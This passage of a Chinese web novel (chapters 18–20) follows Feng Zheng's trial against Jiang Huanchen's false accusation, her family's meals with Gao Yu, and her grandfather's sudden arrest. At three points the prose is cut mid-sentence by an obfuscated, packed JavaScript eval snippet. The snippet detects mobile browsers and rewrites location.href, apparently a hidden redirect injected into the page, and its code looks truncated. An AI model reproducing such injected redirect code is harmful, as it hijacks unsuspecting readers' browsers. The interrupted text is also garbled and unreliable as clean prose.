满堂俱静，郡丞望着她的眼神一点点凝实，陪审官暗暗端正起仪态，典史官腰背不酸了，蹭在桌腿的靴足也不痒了，江涣臣拧眉望过来，却无端开始惴惴不安。 18. 第18章 高豫回握她的手把她拉起，动作自然流畅，和她拽住他的举动无缝衔接，连解释的话都显得有点多余。 说多余是不可能的，审堂重地，没人有闲情讲多余的话。 她拒绝蒲团带来的通融，眼神既惭愧又坚韧，流露出一抹淡淡的威胁，堂官们听进耳朵里，反应都有些精彩纷呈。 江涣臣眼缝微眯，刚把注意力从他们短暂交握的手上挪开，就听到郡丞重新拍响惊堂木升堂。 高豫带回蒲团，两列杖官杵仗捍威。一遍例行验问以后，经过郡丞授意，冯筝把起因简明扼要地描述了一遍，告发江涣臣逼良为妾未遂之事。 云雀出面指证，掐算出时间段道，“我家姑娘那段时间，就是和江郎君待在一块儿。” “他请我家姑娘给他送行，姑娘跟过去后，就和他们停在绫桥下的马车一起消失了。奴婢起先没有多想，只当姑娘去去就回，再见到姑娘的时候她就已经在郡衙了。姑娘从不登外男马车，一定受了他的诓骗和逼迫。” 江涣臣冷静回答，“大人容禀，我请冯姑娘送行，期间既无诓骗也无逼迫。当晚我启程归归京，冯姑娘临别恻隐，我邀她登车，她便没有拒绝。我捎她一段路程，跟她商量好出城的时刻就互相作别，所以婢女的推断不能采信。” 他的粉饰太平，和当初手段强硬，连刺配三千里都在嘴里举重若轻的样子相去甚远，冯筝面若寒霜，江涣臣口风一转。 “错就错在叙旧的时候，我对冯姑娘说话稍显轻浮，以至于让她误解，所以归根结底这就是一场误会而已，望姑娘宽恕。” 他欲将此案轻飘飘揭过，冯筝转来眸光，有些后悔被捂进马车时，没能挠花他的脸留下证据。 郡丞问她还有言否，她平静道，“没有了。” 云雀惊慌：“姑娘！” 郡丞挽袖敲桌，以疑案定性，逼良为妾案就此搁置，江涣臣即刻叩首，洋洋洒洒一段话，把禁图案正式掷到了明面。 “关于藏题图中的门道，我递交状纸时便已说明。” “大人可能不记得，冯家有位特殊的姻亲，因为右相的贿通罪满门没落。冯姑娘自诩聪明，编出藏题图，利诱樊楼挂出，又引诱在场的儒生们竞答，把此类罪臣的复职路预演一遍，一则试探舆情，二则想让儒生们潜移默化，不知不觉中接受这种结果，意图很明显。” “她在抛出敲门砖，给她高氏姻亲的起复路铺路。” 江涣臣胸膛起伏，看向冯筝的眼神意味深长，也就没注意到，满堂气氛略微古怪。 郡衙接见过钦差，对高豫的身份一清二楚。江涣臣说这些话时，审官目不斜视，不曾朝高豫投过去一眼，冯筝心至慧生，便也默契地没有回望。 她低垂臻首，一缕笑意转瞬即逝，云雀却按捺不住，抽空偷偷瞟了眼身后。 高豫面无表情，等待江涣臣持续输出，看上去比姑娘还要心宽。 “可惜结果适得其反。”江涣臣继续拱火，“据我小厮所见，当晚冯姑娘出现在樊楼，她暗中观察，没想到意外被人搅局，她粉饰污吏的意图被揭穿，非但没有成功，反而招惹了众怒。” “她慌张逃走后被我撞见，所以就有了后来的事。我假借送行的由头稳住她，打算悄悄把她押送官府，至于叙旧的时候，我稍显轻浮，也不过是为了打消她的疑虑才勉强为之，请大人明察。” 话音甫落，冯筝大喊冤枉，云雀吓一跳，回过神来，也跟着附和喊冤。 郡丞发问，“你说他冤枉你，那么本官问你，遇见江涣臣以前，你在哪里？” “在樊楼。” 郡丞又问：“那江涣臣的陈词你觉得对吗？” “不对。” 冯筝微微踌躇，“比如说，没有自诩聪明，我觉得我确实聪慧过人。” “姑娘！” 云雀面色涨红，提醒姑娘快快解释，哪怕不能立刻昭雪，气势上也绝对不能输。她不懂审官到底怎么回事，姑娘说话的时候他全程沉默，轮到江涣臣状告，反倒站在他的立场帮他诘问。 审官偏私，通融全部白瞎，云雀急得出汗，若不是她嘴笨就替她说了。 “姑娘快解释！” 冯筝仰眸，“他全篇都在诬陷。” 然后半扭身子，认真看着他道，“你既能瞎说小厮看到我慌张逃出，我也可以假称我的婢女看到你强行绑我，扯这些谎没有意思。” “你掳我侍奉枕席的账还没算完，先不跟你计较这些。江涣臣，你在云端坐久了，也被利禄蒙蔽了心，制图者许了你什么好处，令你这样着急给他找替罪羊？” 冯筝垂眸，捏着裙摆的指腹通红，动作看似羞恼，实则在费劲回忆高豫的措辞。 “你既说藏题图的答案在粉饰污吏，就更应该清楚，朝廷对贪墨之举容忍底线极低，哪怕有意赦免谁，也绝非仕人所能姑息。” “这样一场属于污点功臣的翻身仗，藏着掖着进行还好，我把图挂出来招摇示众，不但不能给高姻亲的起复路铺路，反而会害得高姻亲被捅成筛子。” “所以，说试探舆情有悖于常理，利用舆情还现实些呢，制图者利用舆情煽动民愤，便可以把高姻亲的起复路彻底堵死。” 冯筝眼尾微红，声音近似哽咽，“而我跟高姻亲无仇无怨，怎么会对他们这样残酷？” 哪怕听上去就要垂泫欲泣，也没有要落泪的模样。早起的疲倦感不合时宜地漫过四肢，她强打精神，给沉默下去的青年收尾。 “你的推断全被我颠覆，事已至此，还要否认诬陷我吗？” 小厮催促郎君回答，江涣臣稍稍梳理了下思绪，一道惊堂木的响动猝不及防插进来。 “江涣臣，你和樊楼董余昉的交易是否属实？” 江涣臣眼瞳微动。 “是。” “本官问你，冯姑娘的辩解你有异议吗。” “……没有。” 小厮惊慌，露出片刻前和云雀一样的神情，本以为还会有转圜的余地，却亲眼看到郡丞挥袖，把衙门掌握的证据一股脑抛出。 “经查证，江氏蓄意栽赃罪证属实，来人，夹刑伺候！” 江涣臣骤然抬头，方才还秩序井然的讼堂，立刻就被杖官包抄，小厮没见过这种世面，骇得溜回去禀告夫人。 官司至此告一段落，讼堂变成刑堂。江涣臣重新被摁跪，刑堂衙役穿梭，挡住喑哑闷痛声，挡住他所有失态和隐忍。 冯筝打着晃站起来，双腿麻痹得好像不是自己的，先于失重感到来的是握在胳膊上温暖的手。 高豫把她横抱起来，快步送往衙堂静室。 “还没签字画押呢。” 自从她哽咽讲出“残酷”一词，高豫便仔细盯着她的背影很久。 此刻被高豫抱在怀中，她既觉得他小题大做，又不好意思拂他好意，便驾轻就熟靠歪了脑袋。 高豫长眸微敛，猜得到她可能跪伤了腿，想不到这时候她还记挂这些，轻笑宽慰。 “没关系，他们会安排的。” 吴嬷赶到郡衙的时候，正好撞上这样的情景，她惊叫一声，差点吓晕，“这是动刑了？” 云雀扶稳她并解释道，“没对姑娘用刑，受刑的还在衙堂里呢。” 衙堂两侧的静室，本是给无需进牢狱的轻刑犯临时搁置所设，此刻被他们一行人借用。冯筝坐在短榻上，吴嬷接替高豫上前，掀起她的衣裙堆到膝弯，想起高郎君在场又险险收手。 发现高豫回避出去，吴嬷准备查看伤势，冯筝阻止了她，“只是腿麻，缓一缓就能走动了，阿姆，咱等一等阿伯再离开吧。” 吴嬷点头称好，“差点忘了，郡大人给咱许了通融，蒲团被大夫人塞满了棉絮，昨晚便悄悄送进了衙门，姑娘没受罪才对。” 云雀嗫嚅欲语，看到冯筝摇摇头，只好咽进肚子里。 衙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935095|192874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堂另一侧的静室里，江涣臣受过夹刑的手酸痛肿胀，被宽幅的袖摆遮掩住。他撑起手肘勉强动身，撞上一道声音，轻蔑又突然。 “如果你还指望着董余昉站出来替你翻供的话，江奉礼，想想如何挺过一会儿的杖刑更理智些。” 门前来者不善，一身粗布袍素得清冷。哪怕清楚诬告罪依律还要施杖刑，应该留足力气应对，江涣臣还是撑起了胳膊反问。 “什么意思？” 高豫言简意赅，“今日寅时，学事司已经先官府一步把董余昉提走，否则这种重要人证，衙门如何都得传他出堂。官府之间的暗斗不是我考虑的事，总之我没猜错的话，藏题图的制作者，至少出自部堂三司。” 江涣臣闻言暗暗坐正，阴恻恻的眼神出卖了他的紧张，却闻高豫突然松口，让他有些应对不及。 “我不耽误你领受杖刑，就不问他姓甚名谁了。站在冯姻亲的立场上，我和他们一样，希望这场官司到此为止，考虑到你未必肯答应，有必要提醒你一些事情。” 高豫站在门前，始终未曾踏进来半步，哪怕没有多余的表情，江涣臣也懂得，这是一种嫌恶的体现。 “你受制图人的托付把图挂出，之后种种都是个人行径。你挟私报复冯筝，顺便借用辱蔑朝纲的话柄，拿她替罪背锅，莫要以为此人就会对你感恩戴德。” “知不知道他为何选在宣城设局？” 江涣臣闻言突然笑了，他一整夜待在书房，通宵达旦的功夫，够他想通症结了。 薛侍郎之所以在宣城设局，一则两个月前，冯高两家刚结姻亲，在这里，关于高家的谈资尚算新鲜，百姓记忆犹新，容易因污点功臣联想到对方。 二则，冯筝的辩解犹言在耳，指向一道功荫罪裔的先例。宣城名儒众多，儒生笔墨喉舌最不饶让，方便他利用舆情废黜恩典，废黜这道恩荫罪裔的恩典，把高家嗣的起复路彻底堵死。 江涣臣不在意，“这跟我有什么关系？” 高豫默立，睫羽掩去眼底变换的神色，化用冯筝的话，还他以迎头痛击。 “你在云端坐久了，也被功利蒙蔽了眼。别以为还能邀功请赏。你为了一己私欲把水搅浑，导致舆情的关注点主次颠倒，现在，百姓都忙着追究制图者来历，疏于纠缠‘功荫罪裔’。你让他无法利用舆情推波助澜，无法逼迫朝廷废弛这恩典，试问他到底会对你感恩戴德，还是会因为你坏了他的计划，大发雷霆？” 高豫吐字清晰，抽丝剥茧的推断让江涣臣狠狠攥住了掌心。 袖幅里的手指隐隐作痛，那种哪怕有伤药医治，也很长一段时间提不动笔的怨怒，让他忽略掉衙门外那群儒生的攻势，忽略掉被他说中的事实。 江涣臣稳住自己，“少吓唬我，事涉学事司要员，郡衙可打算轻拿轻放。” 强词夺理的回答，迎来高豫挑眸侧目，眼神满是不可理喻。 “轻拿轻放？” “郡衙以上还有府台，事关朝纲，郡衙得请府台示下，此案一旦报到州府一级，由司理院接审，首先就是追究制图者的错，谁来给你轻拿轻放？” 州府级，司理院……江涣臣突然流露出惊惶，一种惹上麻烦的忧惧感席卷了他，隐在袖底的手微微震颤。 刑堂的杖官来提人上刑，高豫慢条斯理让开了道，有衙役手捧笔录纸找冯筝捺印，高豫颇为和善地带路。 屋里，吴嬷得知姑娘险胜，这就笑逐颜开，闲聊的声音飘出来，顺着走廊钻进途中人耳朵。 “姑娘能险胜，多亏郡丞大人当机立断，还有大爷替你打点的一切。□□说他远途寂寞，你好心送他一程，结果就引来这些祸事，由此可以悟出个道理，对男人慈悲会倒霉。” “姑娘应该痛定思痛，以后莫要轻信男人的谎话。” 按在门框上的手顿时僵了僵，高豫停滞住。 沿途莫名被阴阳到的衙役们，脸色也跟着一阵青黑。 19. 第19章 短短两个时辰，冯承琨在塾馆讲错了诗篇，冯承纲在榜房喝坏了茶水。孟秋在膳堂煎熬小半天，满满做了一笼屉糕点，终于等来了郡衙传来的好消息。 榜房的银毫茶微微霉变，冯承纲回府后用了催吐的药，歇息片刻后出现，倒比昨日跟郡丞周旋一整天还要憔悴。 午时膳堂摆膳，加上盛情难却，顺便回来探望的高豫，一屋子的人满满当当，其乐融融。 闺房中，冯筝从药罐里挖出药膏，抹在掌心搓热，按在膝盖上缓解酸痛。淤青沉淀后变得青紫，痕迹丑陋，刺得她眼睛不痛快地眨了一下。 膳堂那边来催用膳，她整理好衣裳，到膳堂以前兜了一圈风，让身上草药味散得清淡一点。 膳堂还未满座，高家姐弟之间间隔宽裕，她顺理成章地插进去，抚好裙身便接过高豫递来的碗筷。 说来微妙，像是料到她会临他而坐，他递碗筷的动作纯熟又自然。 他原则上说两清，不该与包括高蘅在内的冯家来往密切，但观他和这其乐融融的环境挺适配的模样，她突然就觉得，他的原则，好像也不是那么牢不可破。 按理说，冯筝在衙堂配合完一切，只等收到判书就能结案，至于禁图相关之事，郡衙要如何写奏牒上报，已经不是他们百姓该考虑的事。 冯承琨担忧官司还有后续，冯承纲劝道，“二弟放心，郡衙的大人们刚刚说了，江涣臣已经服判画押，他签得果断，没有再翻供或者追诉的可能。现在啊，只诬告这一桩罪，就够他消受好一阵了。” 二房夫妇这就放了心，听在冯筝耳中，疑惑的念头刚刚冒头又被按下。 她可不觉得江涣臣是醒悟了良知，他签字画押，顶多是权衡利害的结果罢了。 她自行扯圆，静静吃饭，清淡的草药香钻进身边人鼻腔，高豫应答冯公寒暄，席间偶尔偏来一眼。 冯公跟高豫寒暄，得知他如今的生计，靠做西席先生谋生，不禁打趣说，眼下自己左右两侧，公塾私塾的先生竟都有了。 冯承琨沉默以对，哪怕知道胡祯和高三郎关系密切，也没把他的去处往碧城胡家那处想。 衙堂的事情他都听说了。对于二房来说，这亲缘关系弯弯绕绕的妻舅，都有空过讼堂给女儿撑腰，她这亲爹反而缺席，哪怕情况被迫，也让他面皮有些挂不住颜面。 桂鱼鲜嫩，是当季难得的家常菜，冯筝趁他们说话的间隙，挑起公筷给三郎君夹了一筷子。 高豫声音微顿，哪怕依然客套寒暄，却已然有了应对的动作。他一手护在碗壁，似乎不太建议她这么做，又像在提醒她注意避嫌。 这么一挡可不好，冯筝兴致可就来了，黄焖鱼翅，清炖肥鸭，蒜蓉燕菜……统统给他夹了个遍，演活了热情好客的主人家模样。高豫是什么反应她短暂不知，孟夫人的眼神就先剜了过来。 微皱的眼睑让她斜睨过来时，带着一抹威压，教诲她莫要失礼失当，她险些玩脱，这就雨露均沾，一样给身边的伯娘夹菜。 满桌荤素搭配，高蘅却只吃粥茹素。猜到她大概不喜荤腥，她就循着高蘅的口味，给她夹些时蔬，这就发现满座皆忙碌，唯独伯娘有些心不在焉。 高蘅醒过神来，对冯筝的好意一一笑纳，碗里满得快要填不下豆羹，还是冯承纲反应快，把自己的碗也借过去，方便侄女给妻子把菜添完。 伯慈女孝的画面前，冯公意动地笑起来，话题跑偏，“好不容易盼到长房成婚，你们也是时候开枝散叶了，以后再逢家宴，就不怕没有儿女孝敬了。” 高蘅措手不及，腼腆应答，冯承纲替妻子揽过话题，强按尴尬而从容道，“时日尚早，孩子的事情不着急。” 二房夫妇安静用饭，生怕催生的话波及自己身上，当下晚辈还在，冯公懂得适可而止，唤手边的福登给自己盛汤。 午膳没持续太久。 长房跨院，堂庭洒扫后前门大开，高豫穿进西南侧的拱门，堂屋里，高家姐弟相顾无言。 距离香积山之行已过去半月，她自我宽愈了一段时间，本来已经做好了他会自此音讯全无的准备，没想到短时间还能再见到他。 寂静在堂屋蔓延，高蘅笑着道，“你今天胃口很好。” 没头没尾的一句话，就算是再相遇时的问候语了，高豫没理会其中深意，定定坐下来道，“你的胃口不太好。” 能和亲人再会，高蘅当然是欣喜且快慰的。 她含笑遮掩愁绪，目光向远处的杏花树抬动，不由得想起曾经的风光。 那些官宦眷属们，都说高三郎是右相膝下最有能耐的一脉，哪怕在遍地年轻栋梁的太学院，他也鲜有逊色的时候。 然而兄弟二人，唯他跟父亲关系疏离。 长兄患有腿疾，常年陪父亲守家，父亲常带他出席宫宴，想替他寻个好妻室，弥补他抱有缺憾的一生。 后来两相政见不合，父亲忙于经营算计，渐渐变得冷漠孤傲，导致他和家眷的交集越来越少，这个走向，从他刻薄寡恩的声名便可窥得一斑。 她跟长兄素来亲厚，曾经听长兄提起过，高豫在睦州履职艰辛，如今高豫落魄飘零，回司衙致仕，往返期间经历过什么，又饱受多少奚落嘲讽，高蘅蒙受高豫搭救，不可能没有一点歉疚。 现如今丧绦已解，缟素已除，如果他真的打算安定下来，高蘅尊重他的选择，如果这只是一时权宜，她也盼望他诸事顺利。 但在此之前，她没法对高振不闻不问。 高蘅双手握帕，再度提起此事，难免凄楚哽咽，“儋州孤悬海外，闭塞落后，自古便是蛮荒瘴炎之地，死囚流放之所，流刑下判已经半年有余，长兄他流放边地，也不知如今在受哪般的苦。” 她看向高豫，只这一眼，愁绪和哀思也有了寄托。 “三郎，你可有法子救他？” 堂庭当风，高豫静静望着她，麻胚布的袖料被掀起一角，身后杏花瓣飘零一地，高豫未露出难色，却一语点到关要。 “大夫人，高豫如今，一介微末之身而已。” 这便是回绝的意思了。 高蘅怔了怔，借这无能回绝，忽然细致端详起这位常年离家的三弟。 高家子嗣有二，在她印象里，长兄性情良善，高豫有着与他如出一辙的宽和，行事作风，却与父亲一脉相承，透着一股刚毅决绝。 她哪里肯放弃，招手示意仆妇，接过一个妆奁大小的椟盒，高蘅轻抚椟盒，“这是我攒了半辈子的嫁妆银，送去儋州疏通疏通，多少能让他不那么辛苦……” 高豫转身要走，那不是暂时撤离谈话的姿态，而是一走就不会回头的告别，高蘅慌忙跟上，扶住门框喊出了心声。 “我知道，你有你的打算和筹谋，你存心疏远我，乃是盼我远离朝堂纷纭，让我好好在冯家过活。可是高振是我嫡亲的兄长，我已经没有了父亲，难道你真的这样薄情，不容我惦记一下亲兄弟吗?” 耳畔高蘅歇斯底里，高豫止步庭院前，望着满树杏白，好像被困扰住，残花堆在脚面，像极了去年飘进狱窗的雪，让他忽然有点物伤其类。 困在诰狱的那段时间，再难捱也捱过来了，然而更难的却远没有结束。观察司压着他连年的俸禄，他昭雪出狱后，尝过拮据的滋味，也曾经为生计发愁。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935096|192874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他披肝沥胆跟刑司较量，白花花的手稿如雪片一样堆在案头，替兄姊争取一条生还之路，哪怕最后只是保全了高蘅，到头来，却还是落得一句薄情的评断。 挑灯续昼的紧迫生活，熬穿了他曾经强健的体魄，抚灵的丧绦缠不牢他清瘦的腰，他的清减和疲惫，被他们归因于父丧的悲痛，却无人想到，他在案变的周旋里伤了根基。 高蘅伏在门框边抽泣，直到一双手将她扶起来。 她眸珠轻震，发现那双观感凉薄的手其实很温暖。 “你既然知道要在冯家好好生活，就得明白，要胜任冯府的大夫人，不能没有财物傍身。” 高蘅抬起头，望进了那双毫无芥蒂的眼睛，高豫告诉她，“高振是你的亲兄弟，同样也是我的同胞。睦州四年多，长兄对我挂碍颇多，他予我的照顾和关怀，某些程度上远胜过父亲。我没方才答应，实是我能力绵薄，不能给他担保什么。” 他沉思片刻，似乎终于做出了决定。 “你的银钱你仔细收好，比起你的嫁妆银，用我的俸钱更合适些。虽然我已经没了官籍，但是历年的俸禄还算可观。有的事情你勉强也要做，我这个做兄弟的，自然没有总拒绝的道理。” 高豫能答应，那必定是办法的。 高蘅惊喜，知道这是答应往儋州那边疏通关系了，这就张罗仆妇们把他请进来落座，那抹从膳堂一直牵动的愁绪，也终于从她脸上散去。 冯筝从膳堂里出来，带着糕点，准备送去给各院落尝鲜。 片刻前孟夫人微微透露，换庚帖的事情眼看就近了。想到出阁后待在家的时间不多，她便在各院勤加走动，顺便跟母亲和伯娘联络感情。 漆色的食盒挎在腕间，支腿迈进长房跨院，她这样到来，就没料到前来探亲的人尚且还未离开。 屋里簌簌细语，高蘅有意将先前悲伤的话题揭过，想起饭桌上替自己夹菜的姑娘，想起府里孙辈单薄，以及冯公敲打的话，她捂着手帕轻咳了一声，讲出自己的疑惑。 “我听孟夫人说，筝娘已经及笄两年，我看她性格纯良难挑差错，不知为何迟迟未听闻定亲。” 她出阁得晚，最清楚闲言碎语的苦。二房和碧城胡郎的事情，胡祯来保媒的时候，她陪丈夫外出祭洒，加之二房有意隐瞒，所以暂时还不知道冯筝出阁在即的事。 高蘅想了想，从学识到家世，把闺阁女子能被夫家挑剔的点一一带过，捋完只剩下一个方面，“——依你看，筝娘样貌如何？” 她欲探究筝娘在男儿郎眼中普遍的印象，然而问完就觉得不妥。 这话跟寻常宅眷讲没有错，问到三郎跟前却不合适，好在按照他的稳妥谨慎，高豫不会搭腔，这话过去也就过去了。 哪里料到，高豫交握双手，并没有她想象中那般避讳。 “冯姑娘芙蓉面，藕荷相，在我浅薄见过的人里能轻松折得蟾桂。” 他含笑往后靠了靠椅背，散朗舒展的眸光坦荡清白，断绝任何黠昵情思之猜，可高蘅还是禁不住错愕。 冯筝怔在廊道上，顿觉脚步重逾千斤。 被人赞赏总归是件美事，她就默默垂首，把两盒糕饼全部塞给了后脚才跟来的云雀。 冯筝耳畔酡红，不假思索道，“替我拿进去孝敬伯母。” 云雀困惑，提醒她刚刚的打算不是这样，“姑娘不打算自留一些吗？” 疑问声不大，却刚好能传进堂屋里去，冯筝耳根更红得滴血。 她便嗔怪云雀不懂事，“伯母初来宣城，对咱们的熟糕不甚了解，这些本就是孝敬给她尝鲜的，我吃了算怎么回事？” 20. 第20章 庭院里那棵春末就该凋敝的杏树，抓紧又一阵暖意短暂绽放。近来夜里潮湿，城中不少绸布庄，都赶在秋雨到来前赶制棉衣，以借机售卖个好价钱。 然而天不遂人意，这雨来得太快了些。 风雨把砚巷的梧桐树摇得婆娑，冯筝钻出马车，换过鞋袜后蹬进屋里。 银屑炭不起烟，堆在暖笼里烧热，暖融融的春意迎面拂来。冯筝腮颊带笑，拾来绣凳挨近了坐，就着暖意把耳廓搓红。 “府里定的织锦缎和软烟罗，取的是绸布庄里到的新货。掌柜带我翻了账簿，我仔细看了看，这些年我们放在他们那儿的定例钱，差不多也结清了，我便又预支了半年的定金，想着若娘和伯娘都中意这些罗缎的话，回头再商量续定的事。” 她无心遮掩，任谁也看得出她心情颇美。 一连小半个月过去，被赞赏貌美的愉悦逐渐被更惊喜的事情取代，她不会告诉母亲，符家来信称表姑母病体痊愈的事。 三年前她受邀探亲远房亲戚，路过襄阳城，跟随从走散，这就有了被盗匪劫掠的祸事发生，也是自此以后，母亲便对表姑母所在的符家颇有芥蒂。 当年探亲，实则探病，探病的事情因为突逢祸事而不了了之，但她仍记挂着远在淮阳郡的表姑母。三年间偶尔书信互通，听闻表姑母的头疾终于有起色，冯筝感到快慰，不过这些都瞒着母亲没讲。 孟秋问起绸布庄的事，“何绣娘呢？” “上回她过府给你裁制红衣，我提了嘴最好把腰量放宽的事，免得成亲的时候不敢多食，她说改天见到你再比划一顿，她今日没有拦下你吗？” 冯筝笑意凝固，迟钝了下，如同被霜打蔫，挤出一丝勉强的笑，“没有呢。” 然后扭头去瞧墙上装裱的新字画，“祖父最近开始练笔了吗？” 这般转移话题，孟秋没揭她的短，“是啊，这是你祖父的练笔之作，他应一则邀帖，准备出门为前中郎将府上誊写贺序。” “前中郎将家道中兴，曾蒙朝廷赐赠丹书铁券，如今他乞骸骨回乡，正逢过寿，惦记起同门的笔墨，这就请了老太爷去题字。” 这段时日，孟夫人教她查账房，理中馈，冯筝学得有模有样，有时候忙起来，一整天都找不到踪影。 胡家月底就要来验换庚帖，亲事慢慢走上进程。孟夫人愁肠百结，正愁如何传授女儿夫妻纲常，看到她望着字画没出声，不知道在想些什么，就觉得此刻或许是个时机。 冯筝却借称有事，翘掉了一顿体贴话，等人走后，孟夫人吩咐云雀去打探，得知她在翻找有关丹书铁券的记载，忽然沉静了下去。 吴嬷给她捏着肩，“夫人有心事。” 孟夫人没否认。 当初膳席上女儿热情夹菜，孟夫人隐隐看出来，她对高郎君多施照拂。 如果这还不足够说明什么，那么前阵子，她把冯公赠她的笔墨砚块，通通往高蘅院落里捎，点名道姓转交出去，此刻又研究起丹书铁券这种常用来豁免罪责之物，挂念着谁可想而知。 这些都是云雀陆续告诉她的事，孟秋无意打探女儿私事，奈何冯筝做这些时，坦坦荡荡也不遮掩掩。 吴嬷替夫人讲出担忧，“夫人是担心，姑娘待高郎君过于亲近，怕她逾越雷池，跟高家的郎君不清不楚？” 吴嬷说得委婉，就差把暗生情愫这几个字挑明了，孟秋却压根没想到这里，反倒叫吴嬷莫要多虑。 她放松身子，俨然一副信誓旦旦的宽心模样。 “阿筝自小聪慧，绝不会学戏文里那些钟情寒门的官家女没苦硬吃，这一点我对她还是放心的。所以说，但凡她精明一点，与谁亲近都不妨事。” 所谓寒门借指何人，吴嬷哪里听不懂。 高家门第凋零，她倒不多虑姑娘会为了高郎君而悔婚悔亲，哪怕高三郎相貌周正，风度翩翩，她也觉得姑娘轻易交不出芳心。 同时也觉得他们之间，那种不如普通亲眷亲近，又不似陌生人一般疏远的相处方式很合礼数。 这样一琢磨，适才那句“逾越雷池”，那种杜撰情意的事说出来，对姑娘对高郎君就都是折辱。 吴嬷黯然垂眸，夫人轻看寒门，或许个中轻蔑是无意的，但她总觉得，能在举家危难之时挑起担当，如高郎君这般，就应该是个值得被善待的人。 冯公半辈子沉在吏部，留存的典制律籍一应俱全。冯筝翻了翻典籍又很快想通，哪怕真能求得丹书铁券，帝王御批已出，高豫的庶籍也不会改变。 她给祖父的书房落锁后走出，不知道自己对高豫的照拂心，险些被阿姆曲解成哪样。 前中郎将家远在惠州，祖父去题字的事情她早就知道。 三天前，祖父准备拿他压箱底的茶饼去贺寿，发现茶饼失踪后，以为府里进贼，那副匪夷所思的模样，回想起来仍令她面红。 觊觎这茶饼的人不止她一个，知道它压在哪个箱底的也还有父亲。更何况，前堂招待胡督学等人的茶水，早就清理得连茶渣都不剩了，只要福登不讲，她这招偷梁换柱的手段不怕会败露。 但她不可能让父亲背锅，解释了茶饼被她挪用了的事。 既然三年前的恩情不便声张，把茶饼赠出去的理由便也不好坦白。当时解释说，她偷偷观赏茶饼的时候，不小心把它摔碎，害怕祖父降罪所以才一直瞒着，出于弥补，就把准备要赔给高豫的衡阳玉交出去，给祖父充当贺礼。 虽然没见过，高豫曾经救她时，赎出去的玉佩是什么样子，但衡阳玉质地温润，用来雕刻玉佩再好不过。 衡阳玉不难寻，改天再让阿姆去市集留意一下就是了。 在绸布庄没见到的何绣娘，隔天就来府中裁衣，经孟夫人提醒，何绣娘重新给她量了量胸腰，带来一摞布料供她挑选。 布匹很多，却满满当当都是红，冯筝挑花了眼，“我还没定亲，做这些是不是早了一点？” 何绣娘好生劝冯筝，“都说好事多磨，早做打算准没错。不说远的，就说附近江府，本来早就定了亲，这会儿才给他们姑娘赶制嫁衣，针脚可不就仓促了些。” 冯筝沉默片刻，猜到她说的是江慧织。 她和江涣臣对簿公堂，两家自此结了怨，她和慧娘，以后可能也不会有来往。 冯筝简单选了两匹，一盏茶结束，一路把何绣娘送出门。凄迷的雨雾把何绣娘的背影渐渐吞没，两侧仆从准备闭门，忽然间，一张熟悉的脸撞到跟前。 触目惊心的红在眼前放大，冯筝怔了怔，一瞬间以为是自己看久了红绸缎所以眼花，赶紧扭头换换视野。 哭腔和惊呼，同时如惊雷炸响。 “姑娘！” “福登！” 庭院风雨飘摇，两房人都聚集在前堂，他们神情紧张，等着只身回来的福登给出个说法。 福登脸色煞白，他滴米未进，日夜兼程赶回府，脸上的血渍已经结痂，分不清是他自己的还是别人的。 “寿宴一开始还好好的，一群自称慎刑司刑差的人出现，突然就围抄喜堂拿人。那前中郎将一头撞在柱子上，顶着血窟窿是生是死还难说，中郎将府上安危不保，宾客们也都被扣下，小的趁乱才逃出来报信。” “那群刑差持有手令，说什么，在洗清逆贼朋党的嫌疑之前不会放人……” 福登害怕极了，“都怪我，没能陪着老太爷落席，老太爷要是有个好歹可怎么办啊？” 冯承琨下颌绷紧，“父亲没让你跟着，肯定有他的用意，现在自责也于事无补。父亲无辜受牵连，想想办法，叫那边松手放人才要紧。” 两房忙着搭救冯公，一起商讨主意，却一时都有些束手无策，只因慎刑司架空刑部，权柄远超地方，他们的手伸得再远，也触碰不到慎刑司去。 一群人焦躁又无措，冯筝满脸担忧，不期然看到，伯娘的脸色恍惚间变了变。 高蘅回到院落，在房中吩咐仆妇往城郊走一趟。 高豫在城郊劳亭以南租赁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935097|192874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一间屋舍，里面养着一只雪鹞，前阵子把筝娘的笔墨砚块捎给高豫，就是通过这种方式传递的音信。 “可是大夫人，奴婢对那条路陌生，往常只有驱车的车夫走得惯，车夫被遣出城买炭去了，短时间回不来，这可如何是好？” 高蘅神色迟疑。 “伯娘、伯娘……” 冯筝从窗棂边探出脑袋，听出她欲找高豫求救，不忍心打击她，只道三郎君处世艰难，尚且自顾不暇，怎么会有办法帮他们回旋。 檐角滴落雨珠，把她的声音掩盖得细弱，高蘅走到窗边解释。 “慎刑司在寿宴上动真格，是冲着前中郎将去的，其他人未必没办法回旋。他们的长官洪徵明乃刑科出身，听闻城府很深，三郎从他手中脱险，跟他打过交道，最清楚怎样应付此人。” 